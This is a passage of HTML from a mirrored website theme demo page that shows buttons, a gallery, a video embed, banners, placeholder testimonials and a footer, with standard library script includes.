<div class="container">
<div class="content-wrap w-100">
<h2 class="mb-0">Buttons</h2>
<div class="btns-wrap w-100">
<div class="row">
<div class="col-md-6 col-sm-6 col-lg-3">
<a class="icon-btn mt-30 lrg-btn theme-btn icon-right fill-btn2" href="javascript:void(0);" title="Large More"><i class="metaicon-028-arrow-metamax"></i>Large Button<i class="metaicon-028-arrow-metamax"></i></a>
<a class="icon-btn md-btn ml-0 mt-30 theme-btn icon-right fill-btn2" href="javascript:void(0);" title="Middle More"><i class="metaicon-028-arrow-metamax"></i>Middle Button<i class="metaicon-028-arrow-metamax"></i></a>
<a class="icon-btn ml-0 mt-30 sml-btn theme-btn icon-right fill-btn2" href="javascript:void(0);" title="Small More"><i class="metaicon-028-arrow-metamax"></i>Small Button<i class="metaicon-028-arrow-metamax"></i></a>
</div>
<div class="col-md-6 col-sm-6 col-lg-3">
<a class="icon-btn mt-30 lrg-btn theme-btn icon-right bordered-btn2" href="javascript:void(0);" title="Large More"><i class="metaicon-028-arrow-metamax"></i>Large Button<i class="metaicon-028-arrow-metamax"></i></a>
<a class="icon-btn md-btn ml-0 mt-30 theme-btn icon-right bordered-btn2" href="javascript:void(0);" title="Middle More"><i class="metaicon-028-arrow-metamax"></i>Middle Button<i class="metaicon-028-arrow-metamax"></i></a>
<a class="icon-btn ml-0 mt-30 sml-btn theme-btn icon-right bordered-btn2" href="javascript:void(0);" title="Small More"><i class="metaicon-028-arrow-metamax"></i>Small Button<i class="metaicon-028-arrow-metamax"></i></a>
</div>
<div class="col-md-6 col-sm-6 col-lg-3">
<a class="mt-30 lrg-btn simple-btn theme-btn fill-btn3" href="javascript:void(0);" title="Large More">Large Button</a>
<a class="md-btn ml-0 mt-30 simple-btn theme-btn fill-btn3" href="javascript:void(0);" title="Middle More">Middle Button</a>
<a class="ml-0 mt-30 sml-btn simple-btn theme-btn fill-btn3" href="javascript:void(0);" title="Small More">Small Button</a>
</div>
<div class="col-md-6 col-sm-6 col-lg-3">
<a class="mt-30 lrg-btn simple-btn theme-btn bordered-btn" href="javascript:void(0);" title="Large More">Large Button</a>
<a class="md-btn ml-0 mt-30 simple-btn theme-btn bordered-btn" href="javascript:void(0);" title="Middle More">Middle Button</a>
<a class="ml-0 mt-30 sml-btn simple-btn theme-btn bordered-btn" href="javascript:void(0);" title="Small More">Small Button</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<section>
<div class="w-100 pb-90">
<div class="container-fluid">
<hr class="devider mb-90 w-100">
<div class="container">
<div class="content-wrap w-100">
<h2 class="mb-0">Gallery</h2>
<ul class="mb-0 row gallery-caro gallery-list mt-10 list-unstyled">
<li>
<figure class="gallery-item mt-30 mb-0 brd-rd20 overflow-hidden position-relative w-100">
<a class="d-block" href="assets/images/resources/gallery-image1-1.jpg" data-fancybox="gallery" title=""><img class="img-fluid w-100" src="assets/images/resources/gallery-image1-1.jpg" alt="Gallery Image 1"><i class="metaicon-zoom-in"></i></a>
</figure>
</li>
<li>
<figure class="gallery-item mt-30 mb-0 brd-rd20 overflow-hidden position-relative w-100">
<a class="d-block" href="assets/images/resources/gallery-image1-2.jpg" data-fancybox="gallery" title=""><img class="img-fluid w-100" src="assets/images/resources/gallery-image1-2.jpg" alt="Gallery Image 2"><i class="metaicon-zoom-in"></i></a>
</figure>
</li>
<li>
<figure class="gallery-item mt-30 mb-0 brd-rd20 overflow-hidden position-relative w-100">
<a class="d-block" href="assets/images/resources/gallery-image1-3.jpg" data-fancybox="gallery" title=""><img class="img-fluid w-100" src="assets/images/resources/gallery-image1-3.jpg" alt="Gallery Image 3"><i class="metaicon-zoom-in"></i></a>
</figure>
</li>
<li>
<figure class="gallery-item mt-30 mb-0 brd-rd20 overflow-hidden position-relative w-100">
<a class="d-block" href="assets/images/resources/gallery-image1-4.jpg" data-fancybox="gallery" title=""><img class="img-fluid w-100" src="assets/images/resources/gallery-image1-4.jpg" alt="Gallery Image 4"><i class="metaicon-zoom-in"></i></a>
</figure>
</li>
<li>
<figure class="gallery-item mt-30 mb-0 brd-rd20 overflow-hidden position-relative w-100">
<a class="d-block" href="assets/images/resources/gallery-image1-5.jpg" data-fancybox="gallery" title=""><img class="img-fluid w-100" src="assets/images/resources/gallery-image1-5.jpg" alt="Gallery Image 5"><i class="metaicon-zoom-in"></i></a>
</figure>
</li>
<li>
<figure class="gallery-item mt-30 mb-0 brd-rd20 overflow-hidden position-relative w-100">
<a class="d-block" href="assets/images/resources/gallery-image1-6.jpg" data-fancybox="gallery" title=""><img class="img-fluid w-100" src="assets/images/resources/gallery-image1-6.jpg" alt="Gallery Image 6"><i class="metaicon-zoom-in"></i></a>
</figure>
</li>
<li>
<div class="gallery-item mt-30 mb-0 brd-rd20 overflow-hidden position-relative w-100">
<a class="d-block" href="assets/images/resources/gallery-image1-7.jpg" data-fancybox="gallery" title=""><img class="img-fluid w-100" src="assets/images/resources/gallery-image1-7.jpg" alt="Gallery Image 7"><i class="metaicon-zoom-in"></i></a>
</div>
</li>
<li>
<figure class="gallery-item mt-30 mb-0 brd-rd20 overflow-hidden position-relative w-100">
<a class="d-block" href="assets/images/resources/gallery-image1-8.jpg" data-fancybox="gallery" title=""><img class="img-fluid w-100" src="assets/images/resources/gallery-image1-8.jpg" alt="Gallery Image 8"><i class="metaicon-zoom-in"></i></a>
</figure>
</li>
<li>
<figure class="gallery-item mt-30 mb-0 brd-rd20 overflow-hidden position-relative w-100">
<a class="d-block" href="assets/images/resources/gallery-image1-9.jpg" data-fancybox="gallery" title=""><img class="img-fluid w-100" src="assets/images/resources/gallery-image1-9.jpg" alt="Gallery Image 9"><i class="metaicon-zoom-in"></i></a>
</figure>
</li>
<li>
<figure class="gallery-item mt-30 mb-0 brd-rd20 overflow-hidden position-relative w-100">
<a class="d-block" href="assets/images/resources/gallery-image1-10.jpg" data-fancybox="gallery" title=""><img class="img-fluid w-100" src="assets/images/resources/gallery-image1-10.jpg" alt="Gallery Image 10"><i class="metaicon-zoom-in"></i></a>
</figure>
</li>
</ul><!-- Gallery List -->
<div class="gallery-caro2 mt-30 text-center">
<div><img class="img-fluid brd-rd20" src="assets/images/resources/port-detail-img3-1.jpg" alt="Portfolio Detail Image 1"></div>
<div><img class="img-fluid brd-rd20" src="assets/images/resources/port-detail-img3-2.jpg" alt="Portfolio Detail Image 2"></div>
<div><img class="img-fluid brd-rd20" src="assets/images/resources/port-detail-img3-3.jpg" alt="Portfolio Detail Image 3"></div>
</div>
</div>
</div>
</div>
</div>
</section>
<section>
<div class="w-100 pb-90">
<div class="container-fluid">
<hr class="devider mb-90 w-100">
<div class="container">
<div class="content-wrap w-100">
<h2 class="mb-0">Video</h2>
<iframe class="w-100 mt-40 d-block border-0 brd-rd10" src="https://player.vimeo.com/video/331439699?dnt=1&app_id=122963"></iframe>
</div>
</div>
</div>
</div>
</section>
<section>
<div class="w-100 pb-90">
<div class="container-fluid">
<hr class="devider mb-90 w-100">
<div class="container">
<div class="content-wrap w-100">
<h2 class="mb-0">Pie Chart</h2>
<div class="analys-wrap text-center w-100">
<div class="row">
<div class="col-md-3 col-sm-6 col-lg-3">
<div class="analys-box w-100 mt-30">
<div id="analys11" class="analys-bar"><span></span></div>
<div class="analys-info">
<h3 class="mb-0">Keywords Results</h3>
<span class="d-block">Our Service</span>
</div>
</div>
</div>
<div class="col-md-3 col-sm-6 col-lg-3">
<div class="analys-box w-100 mt-30">
<div id="analys22" class="analys-bar mini-bar"><span></span></div>
<div class="analys-info">
<h3 class="mb-0">Keywords Results</h3>
</div>
</div>
</div>
<div class="col-md-3 col-sm-6 col-lg-3">
<div class="analys-box w-100 mt-30">
<div id="analys33" class="analys-bar"><span></span></div>
<div class="analys-info">
<h3 class="mb-0">Keywords Results</h3>
<span class="d-block">Our Service</span>
</div>
</div>
</div>
<div class="col-md-3 col-sm-6 col-lg-3">
<div class="analys-box w-100 mt-30">
<div id="analys44" class="analys-bar mini-bar"><span></span></div>
<div class="analys-info">
<h3 class="mb-0">Keywords Results</h3>
</div>
</div>
</div>
</div>
</div><!-- Analysis Wrap -->
</div>
</div>
</div>
</div>
</section>
<section>
<div class="w-100 pb-90">
<div class="container-fluid">
<hr class="devider mb-90 w-100">
<div class="container">
<div class="content-wrap w-100">
<h2 class="mb-0">Banners</h2>
<div class="banner-wrap text-center w-100">
<div class="row">
<div class="col-md-4 col-sm-6 col-lg-4">
<div class="banner-box style1 text-left brd-rd20 w-100 mt-30">
<h3 class="mb-0">Element <br> Examples</h3>
<p class="mb-0">Lorem ipsum dolor sit amet, <br> consectetur adipicing elit, sed do</p>
</div>
</div>
<div class="col-md-4 col-sm-6 col-lg-4">
<div class="banner-box style2 bg-color2 text-center brd-rd20 w-100 mt-30">
<h3 class="mb-0">Element <br> Examples</h3>
<a class="icon-btn md-btn ml-0 mt-30 theme-btn icon-right bordered-btn2" href="javascript:void(0);" title="Read More"><i class="metaicon-028-arrow-metamax"></i>Read More<i class="metaicon-028-arrow-metamax"></i></a>
</div>
</div>
<div class="col-md-4 col-sm-6 col-lg-4">
<div class="banner-box style3 bg-color7 text-center brd-rd20 w-100 mt-30">
<h3 class="mb-0">Examples</h3>
<p class="mb-0">Lorem ipsum dolor sit amet, <br> consectetur adipicing elit, sed do</p>
<a class="sml-btn simple-btn theme-btn fill-btn3" href="javascript:void(0);" title="">Small Button</a>
</div>
</div>
<div class="col-md-12 col-sm-12 col-lg-12">
<div class="banner-box style4 bg-color2 text-left brd-rd20 w-100 mt-30">
<h3 class="mb-0">Call to Action</h3>
<p class="mb-0">Lorem ipsum dolor sit amet, consectetur adipicing elit, sed do eiusmod tempor incididunt ut labore et</p>
<a class="md-btn ml-0 theme-btn fill-btn2" href="javascript:void(0);" title="Read More">Read More</a>
</div>
</div>
<div class="col-md-12 col-sm-12 col-lg-12">
<div class="banner-box style5 text-center brd-rd20 w-100 mt-30">
<h3 class="mb-0">Call to Action</h3>
<a class="icon-btn md-btn ml-0 mt-30 theme-btn icon-right fill-btn2" href="javascript:void(0);" title="Read More"><i class="metaicon-028-arrow-metamax"></i>Read More<i class="metaicon-028-arrow-metamax"></i></a>
</div>
</div>
<div class="col-md-12 col-sm-12 col-lg-12">
<div class="banner-box style6 bg-color5 d-flex flex-wrap justify-content-between align-items-end text-left brd-rd20 w-100 mt-30">
<div class="banner-info">
<h3 class="mb-0">Call to Action</h3>
<p class="mb-0">Lorem ipsum dolor sit amet, consectetur adipicing <br> elit, sed do eiusmod tempor incididunt ut labore et</p>
</div>
<div class="banner-btn">
<a class="icon-btn theme-btn icon-right fill-btn3" href="javascript:void(0);" title="Read More"><i class="metaicon-028-arrow-metamax"></i>Read More<i class="metaicon-028-arrow-metamax"></i></a>
</div>
</div>
</div>
</div>
</div><!-- Banner Wrap -->
</div>
</div>
</div>
</div>
</section>
<section>
<div class="w-100 pb-90">
<div class="container-fluid">
<hr class="devider mb-90 w-100">
<div class="container">
<div class="content-wrap w-100">
<h2 class="mb-0">Testimonials</h2>
<div class="testi-wrap2 mt-30 text-center w-100">
<div class="testi-caro2">
<div class="testi-box-wrap2">
<div class="testi-box style2 w-100">
<div class="testi-info">
<img class="img-fluid rounded-circle" src="assets/images/resources/team-img1-1.png" alt="Testimonial Image 1">
<div class="testi-info-inner">
<h4 class="mb-0">Jason White</h4>
<span class="d-block">Alcoholic</span>
</div>
</div>
<p class="mb-0">They have great service, quality products and we trust them. We value a local relationship and the impact it has on our community.</p>
<span class="d-block star-rating"><i class="metaicon-star-in-black-of-five-points-shape on"></i><i class="metaicon-star-in-black-of-five-points-shape on"></i><i class="metaicon-star-in-black-of-five-points-shape on"></i><i class="metaicon-star-in-black-of-five-points-shape on"></i><i class="metaicon-star-in-black-of-five-points-shape off"></i></span>
</div>
</div>
<div class="testi-box-wrap2">
<div class="testi-box style2 w-100">
<div class="testi-info">
<img class="img-fluid rounded-circle" src="assets/images/resources/team-img1-2.png" alt="Testimonial Image 2">
<div class="testi-info-inner">
<h4 class="mb-0">Diana Lee</h4>
<span class="d-block">Director</span>
</div>
</div>
<p class="mb-0">They have great service, quality products and we trust them. We value a local relationship and the impact it has on our community.</p>
<span class="d-block star-rating"><i class="metaicon-star-in-black-of-five-points-shape on"></i><i class="metaicon-star-in-black-of-five-points-shape on"></i><i class="metaicon-star-in-black-of-five-points-shape on"></i><i class="metaicon-star-in-black-of-five-points-shape off"></i><i class="metaicon-star-in-black-of-five-points-shape off"></i></span>
</div>
</div>
<div class="testi-box-wrap2">
<div class="testi-box style2 w-100">
<div class="testi-info">
<img class="img-fluid rounded-circle" src="assets/images/resources/team-img1-3.png" alt="Testimonial Image 3">
<div class="testi-info-inner">
<h4 class="mb-0">Alex Doe</h4>
<span class="d-block">Manager</span>
</div>
</div>
<p class="mb-0">They have great service, quality products and we trust them. We value a local relationship and the impact it has on our community.</p>
<span class="d-block star-rating"><i class="metaicon-star-in-black-of-five-points-shape on"></i><i class="metaicon-star-in-black-of-five-points-shape on"></i><i class="metaicon-star-in-black-of-five-points-shape on"></i><i class="metaicon-star-in-black-of-five-points-shape on"></i><i class="metaicon-star-in-black-of-five-points-shape off"></i></span>
</div>
</div>
<div class="testi-box-wrap2">
<div class="testi-box style2 w-100">
<div class="testi-info">
<img class="img-fluid rounded-circle" src="assets/images/resources/team-img1-4.png" alt="Testimonial Image 1">
<div class="testi-info-inner">
<h4 class="mb-0">Ammy Doe</h4>
<span class="d-block">CEO Agency</span>
</div>
</div>
<p class="mb-0">They have great service, quality products and we trust them. We value a local relationship and the impact it has on our community.</p>
<span class="d-block star-rating"><i class="metaicon-star-in-black-of-five-points-shape on"></i><i class="metaicon-star-in-black-of-five-points-shape on"></i><i class="metaicon-star-in-black-of-five-points-shape on"></i><i class="metaicon-star-in-black-of-five-points-shape on"></i><i class="metaicon-star-in-black-of-five-points-shape off"></i></span>
</div>
</div>
</div>
</div><!-- Testimonials Wrap 2 -->
<div class="testi-wrap style2 mt-60 text-center w-100">
<div class="testi-caro">
<div class="testi-box">
<div class="testi-info">
<img class="img-fluid rounded-circle" src="assets/images/resources/testi-img1-1.png" alt="Testimonial Image 1">
</div>
<p class="mb-0">Lorem ipsum dolor sit amet, consectetur adipicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliq enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum</p>
<div class="testi-info-inner">
<h4 class="mb-0">Ann Statham</h4>
<span class="d-block">CEO Pranklin Agency</span>
</div>
</div>
<div class="testi-box">
<div class="testi-info">
<img class="img-fluid rounded-circle" src="assets/images/resources/testi-img1-2.png" alt="Testimonial Image 2">
</div>
<p class="mb-0">Lorem ipsum dolor sit amet, consectetur adipicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliq enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum</p>
<div class="testi-info-inner">
<h4 class="mb-0">Peter Doe</h4>
<span class="d-block">Manager</span>
</div>
</div>
<div class="testi-box">
<div class="testi-info">
<img class="img-fluid rounded-circle" src="assets/images/resources/testi-img1-3.png" alt="Testimonial Image 3">
</div>
<p class="mb-0">Lorem ipsum dolor sit amet, consectetur adipicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliq enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum</p>
<div class="testi-info-inner">
<h4 class="mb-0">Eva</h4>
<span class="d-block">Designer</span>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<footer>
<div class="w-100 pt-70 bg-color14 text-color15 position-relative">
<div class="scroll-top-btn position-absolute"><a href="javascript:void(0);" title=""><i class="metaicon-arrow-pointing-to-up"></i></a></div>
<div class="container">
<div class="footer-wrap d-flex flex-wrap w-100">
<div class="footer-about">
<div class="logo d-block">
<a href="index-2.html" title="Home"><img class="img-fluid" src="assets/images/footer-logo.png" alt="Footer Logo"></a>
</div><!-- Logo -->
<p class="mb-0">We’re on a mission to build a better future where technology creates good jobs for everyone.</p>
</div><!-- Footer About -->
<div class="footer-widget-wrap">
<div class="row">
<div class="col-md-6 col-sm-6 col-lg-3">
<div class="widget w-100">
<h4 class="text-white">Contact</h4>
<ul class="mb-0 list-unstyled">
<li><a href="javascript:void(0);" title="">Installation</a></li>
<li><a href="javascript:void(0);" title="">Loging in</a></li>
</ul>
</div>
</div>
<div class="col-md-6 col-sm-6 col-lg-3">
<div class="widget w-100">
<h4 class="text-white">Links</h4>
<ul class="mb-0 list-unstyled">
<li><a href="about.html" title="">About us</a></li>
<li><a href="services.html" title="">Services</a></li>
<li><a href="javascript:void(0);" title="">Projects</a></li>
<li><a href="javascript:void(0);" title="">Our Team</a></li>
</ul>
</div>
</div>
<div class="col-md-6 col-sm-6 col-lg-3">
<div class="widget w-100">
<h4 class="text-white">Links</h4>
<ul class="mb-0 list-unstyled">
<li><a href="contact.html" title="">Contact us</a></li>
<li><a href="blog-2column.html" title="">Blog</a></li>
<li><a href="javascript:void(0);" title="">Testimonials</a></li>
<li><a href="javascript:void(0);" title="">FAQ</a></li>
</ul>
</div>
</div>
<div class="col-md-6 col-sm-6 col-lg-3">
<!--Newslatter Form-->
<div class="widget w-100" id="email-form">
<h4 class="text-white">Subscribe</h4>
<form class="position-relative w-100" method="post" action="#" id="subscribe-form">
<div class="form-group"><div class="response"></div></div>
<input type="email" name="email" class="email" value="" placeholder="Your Email">
<button type="button" id="subscribe-newslatters"><i class="metaicon-send-button"></i></button>
</form>
</div>
</div>
</div>
</div>
</div><!-- Footer Wrap -->
<div class="footer-content-wrap align-items-center d-flex justify-content-between flex-wrap w-100">
<div class="footer-content-inner">
<ul class="mb-0 d-flex list-unstyled">
<li class="text-white"><a href="8006000020.html" title=""><i class="fas fa-phone-alt text-color15"></i>800 - 600 - 0020</a></li>
<li class="text-white"><i class="far fa-map text-color15"></i>New York, USA</li>
</ul>
</div>
<div class="scl-links2">
<a href="javascript:void(0);" title="Youtube" target="_blank"><i class="fab fa-youtube"></i></a>
<a href="javascript:void(0);" title="Instagram" target="_blank"><i class="fab fa-instagram"></i></a>
<a href="javascript:void(0);" title="Twitter" target="_blank"><i class="fab fa-twitter"></i></a>
<a href="javascript:void(0);" title="Youtube" target="_blank"><i class="fab fa-weixin"></i></a>
</div>
</div><!-- Footer Content Wrap -->
<div class="copyright w-100">
<p class="mb-0">Copyright © 2020. All Right Reserved.</p>
</div><!-- Copyright -->
</div>
</div>
</footer>
</main><!-- Main Wrapper -->
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/popper.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/bootstrap-select.min.js"></script>
<script src="assets/js/owl.carousel.min.js"></script>
<script src="assets/js/scroll-up-bar.min.js"></script>
<script src="assets/js/jquery.fancybox.min.js"></script>
<script src="assets/js/counterup.min.js"></script>
<script src="assets/js/perfect-scrollbar.min.js"></script>
<script src="assets/js/slick.min.js"></script>
<script src="assets/js/wow.min.js"></script>
<script src="assets/js/circle-progress.min.js"></script>
<script src="../../cdnjs.cloudflare.com/ajax/libs/waypoints/4.0.1/jquery.waypoints.min.js"></script>
<script src="assets/js/custom-scripts.js"></script>
</body>
<!-- Mirrored from html.cwsthemes.com/metamax/content-elements.html by HTTrack Website Copier/3.x [XR&CO'2014], Sat, 16 Oct 2021 04:28:58 GMT -->
</html>